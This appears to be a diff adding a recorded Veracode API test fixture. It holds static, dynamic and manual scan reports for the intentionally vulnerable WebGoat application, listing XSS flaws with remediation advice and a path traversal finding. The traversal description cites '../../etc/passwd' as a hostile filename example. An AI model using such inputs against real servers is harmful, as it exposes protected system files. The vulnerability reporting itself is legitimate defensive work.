+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:10:49 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200075'
+      Date:
+      - Tue, 27 Oct 2015 12:11:06 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:11:06 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
+        rating=\"D\" score=\"89\" submitted_date=\"2012-03-01 14:58:22 UTC\" published_date=\"2012-03-01
+        15:03:50 UTC\" dynamic_scan_type=\"ds\" scan_exit_status_id=\"0\" scan_exit_status_desc=\"N/A\">\n<modules>\n<module
+        name=\"dynamic_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"89\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"10\"
+        numflawssev4=\"1\" numflawssev5=\"1\" target_url=\"http://10.10.31.202:8080/webgoat\"
+        domain=\"\"/>\n</modules>\n</dynamic-analysis>\n<manual-analysis rating=\"D\"
+        score=\"81\" submitted_date=\"2012-03-01 14:59:07 UTC\" published_date=\"2012-03-01
+        14:59:14 UTC\" next_scan_due=\"2013-03-01 14:59:14 UTC\">\n<cia_adjustment>0</cia_adjustment>\n<modules>\n<module
+        name=\"manual_analysis\" compiler=\"Unknown\" os=\"\" architecture=\"\" loc=\"0\"
+        score=\"81\" numflawssev0=\"0\" numflawssev1=\"0\" numflawssev2=\"0\" numflawssev3=\"2\"
+        numflawssev4=\"0\" numflawssev5=\"3\"/>\n</modules>\n</manual-analysis>\n<severity
+        level=\"5\">\n<category categoryid=\"1\" categoryname=\"Directory Traversal\"
+        pcirelated=\"false\">\n<desc>\n<para text=\"Allowing user input to control
+        paths used in filesystem operations may enable an attacker to access or modify
+        otherwise protected system resources that would normally be inaccessible to
+        end users.  In some cases, the user-provided input may be passed directly
+        to the filesystem operation, or it may be concatenated to one or more fixed
+        strings to construct a fully-qualified path.\"/>\n<para text=\"When an application
+        improperly cleanses special character sequences in user-supplied filenames,
+        a path traversal (or directory traversal) vulnerability may occur.  For example,
+        an attacker could specify a filename such as &quot;../../etc/passwd&quot;,
+        which resolves to a file outside of the intended directory that the attacker
+        would not normally be authorized to view.\"/>\n</desc>\n<recommendations>\n<para
+        text=\"Assume all user-supplied input is malicious.  Validate all user-supplied
+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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